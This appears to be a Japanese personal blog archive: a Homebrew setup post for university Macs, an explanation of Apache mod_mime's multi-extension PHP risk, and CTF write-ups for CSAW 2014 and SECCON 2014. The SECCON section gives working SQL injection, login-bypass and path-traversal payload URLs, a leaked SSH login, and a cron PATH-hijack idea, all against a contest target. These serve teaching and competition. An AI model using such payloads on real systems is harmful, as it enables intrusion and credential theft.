バランスを取りたい

よくCTFの記事を書きます

coins+brew=神(?)

この記事はcoins Advent Calendar 2014の15日目の記事です。

0. 駄文

筑波大学情報科学類(通称coins)では学内に100台を優に超すiMacが設置されていて、coins生ならば誰でも自由に使うことが出来ます。(例外)

しかし、大学が管理するMacなのでRubyPythonのバージョンが古いなど、不満な点もいくつかあります。これを解決するためには自分でパッケージをビルドしてユーザーディレクトリ下に置くか、管理者の元へ突撃して宗教戦争を行うしかありません。

ただ、大体の場合、パッケージが「今すぐ」必要であったり、バージョンアップに追従しにくいことから、前者の手段を取ることになるでしょう。



MacではHomebrewというパッケージ管理アプリがよく利用されていますが、これはもともと管理者権限なしでも動くようにできているため、制限された環境で利用するのには最適です。

早速導入してみましょう。

1. 導入

% git clone https://github.com/Homebrew/homebrew.git ~/.brew
% export PATH="$HOME/.brew/bin:$PATH"

これだけです。びっくり。

2. パッケージのインストール

coins環境のVimは古く、また当然Luaも使えないので非常に不便です。
さくっとLua付きのVimを入れてしまいましょう。

% brew install --with-lua --with-luajit vim

すごい。

% brew install tmux coreutils binutils

マシマシしていくぞ。

3. おわりのはじまり

brewの記事を書くつもりがなんと導入が簡単すぎて一瞬で終わってしまいました。
ですが重大なことをまだ話していません。


brewの導入はただのはじまりではなく、おわりのはじまりなのです。


というのも、一般的なcoins生のホームディレクトリというのは3GBの容量しかないため、ちょっと張り切ってパッケージを導入するとすぐに限界が来てしまいます。

Disk quotas for user s1411*** :
     Filesystem    1K blocks         quota        limit    grace   files   quota   limit   grace
          /home      2728855       3072000      3584000           128501       0       0

ちょっと前にヤバいと思ってDownloadsの中身とかを消したのですが、それでも9割の領域を使ってしまっています。

coins+brew=神にはなれなかった。終わり。

4. 神への道

4.1 coins-admin

coinsのマシンはcoins-adminという教員と学生によって構成された組織が管理しています。coins-adminに入るとホームディレクトリの容量が実際無限になるそうですが、管理があまり得意でないので入るのはちょっと厳しい気がしています。


adminになっちゃえば普通に神になってるのと変わらないよね。

4.2 気合

coins生が利用するマシンには「計算機利用の手引き」なるものが設置されていて、「ディスクスペースが足りない場合は適当な場所にメールを送ること」という記述があります。

文脈から察するに、正当な理由であればホームディレクトリの容量を増やすことができるしれないということです。
また、VMを利用したいという理由で申請したら通ったという話も(噂みたいなものですが)聞いています。


自分の場合は適当に整理して2.7GB/3GB程度の使用量なので、もっと綺麗にしてかつ2.9GB/3GBくらいまでディスクをたっぷり使ってからメールを送ってみたいと思います。

5. coins Advent Calendar 2014

14日目


16日目(@Segmentation fault(core dumped)
[:embed]

Apacheのmod_mimeの挙動が危なっかしい

tkbctf#4のITF Point Systemの出題に使ったネタです。
知ったタイミングでブログ記事かなんかにしたかったのですが、問題に使うと決めてしまったので今の今まで書くことが出来ませんでした。


mod_mime - Apache HTTP Server Version 2.4

ファイルは複数拡張子を持つことができ、拡張子の順番は通常は関係ありません。例えば、ファイル welcome.html.fr がコンテントタイプは text/html に、言語はフランス語にマップされる場合、welcome.fr.html もまったく同じ情報にマップされます。 同じメタ情報にマップされる拡張子複数あるときには、言語と コンテントエンコーディングを除いて、 右側にあるものが使用されます。たとえば、.gifMIME タイプ image/gif にマップされ、.html が MIME タイプ text/html にマップされる場合は、ファイル welcome.gif.html は MIME タイプ text/html に関連付けられます。


Apacheのドキュメントにありますが、要は存在する複数拡張子の内、右から順番に見ていってApacheMIMEに存在するものがあればそれを用いるという感じです。

これにより"abc.php.unknown"のような名前のファイルをApachephpとして認識させることが可能になります。tkbctf#4ではこの手法を用いて、ユーザー名をファイル名に含むSQLiteDBファイルにアクセスさせる問題を出題しました。


実際のところ、こんな話があるならいろいろな場所でPHP Remote Code Executionが発生して大事件になっている気がしますが、パッケージマネージャによってはその問題を回避するためか、下記のような設定が書かれています。

#...
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>
#...

この書き方であればファイル名の末尾にphp拡張子があるときだけPHPとして実行させるということができるので安全になります。


ちなみに自分のMac上で動いているApacheでは普通にAddHandlerしていたため、うっかり[username].datみたいな謎ファイルを吐き出すようなWebアプリがあると普通にこの挙動の影響を受けるところでした……

CSAW 2014 Bin300(2) weissman

0x13 + 9byteなchunkがたくさんあることからchunkの構造を推測し、データを読み込んでchunk情報だけを吐き出すスクリプトはすぐに書けた。
しかし、圧縮されていると思われるchunkだけどう展開したらいいかわからない。


jpegの画像はバイナリデータだしほとんど圧縮効いてないんじゃないか」と気がついて、とりあえず圧縮chunkの部分を0x00で展開するようなスクリプトにしてみたら一応画像として読み込めるようになった。


f:id:xrekkusu:20140922173850j:plain


ギリギリ読める。

key{I know How long it'd take me, and I can prove it}



SECCON2014 横浜予選Web Writeup

競技開始 (14:20)

FLAG1 (14:24)

スクリーンショットを撮るWebアプリ

HTML内に背景色と同化したリンクがあることを見つける

f:id:xrekkusu:20140908114715p:plain
http://localhost/private/

しかしlocalhost onlyと表示されアクセスできない。

スクリーンショットで/privateを見るとFLAG1, AdminLogin, ls.txtが見つかる。
改めて/private/FLAG1のスクリーンショットを取るとフラグゲット

SECCON{screenshotFromLocalhost!}

FLAG2 (14:26)

スクリーンキャプチャで/private内を覗くとAdminLoginというフォルダがあるのでアクセスして見るとログイン画面が出てくる。
中身はstrcmpに配列を渡す問題。
山崎さん問題なのにMongoだったらどうしようと思って括弧を入れたらログインできた
?user=aaa&pass[$ne]=aaa

SECCON{strcmpBypass??}

FLAG3 (14:33)

簡単なSQLインジェクションで当然データベースはSQLite
SQL文が select * from usertbl where (id LIKE '%[id]%');になっているので括弧に注意する。

http://10.10.10.35/private/AdminLogin/search.php?user=a%27or%201=1)%20union%20select%20pass,1,1%20from%20usertbl--


SQL内の括弧の存在に気づけるかどうかという点で面白い問題でした。

SECCON{IamSqlInjM@ST3R}

FLAG4 (15:14)

スクリーンキャプチャで/private内を読むとls.txtというファイルが見つかるので、
これを更に読むと/***MySSHuserPass.txtがあることがわかる。


このファイルを手に入れるのに少し苦労しました。
Stage3→4へ繋がると思い込んでいたので、FLAG3のあとどこかにローカルファイルを読める脆弱性が存在すると思ってずっと探してました。

見逃しがあるかもしれないと最初のスクリーンショットのページへ行って、スクリーンショットの画像URLを確認してみたところ明らかに怪しい。


ディレクトリトラバーサル発見


http://10.10.10.35/?image=../../../../***MySSHuserPass.txt%00
cedec / secconYkhm

% ssh cedec@10.10.10.35                                                                     
cedec@10.10.10.35's password:
Last login: Thu Sep  4 00:13:20 2014 from 10.10.10.15
[cedec@localhost ~]$ ls
FLAG4
[cedec@localhost ~]$ cat FLAG4
SECCON{PathTraversalIsMyFriend}

FLAG5

********チームメンバーとのSSHのプロセスkill対決が1時間くらい行われる。

その後終了20分前くらいに@kazu1130_hがパスワードを変えて********以外全員死亡。


競技終了後に答え合わせをしたらこの問題を解いている人がいないらしいことが判明しました。


答えとしては、
/etc/crontabを読むとPATH=.:/bin/..みたいになっていて、

cronに登録されている/home/FLAG5/myBatch.sh内では

cd /tmp
last -20 | grep pts | cut -b23-38 | sort | uniq -c | sort > tmp.tmp

となっているので/tmp以下でFLAG5権限のシェルスクリプトが動く(ということらしい)

cat /etc/crontabはしてPATH=.も見ていたのにコマンドをすりかえる発想がなかったのでだめでした。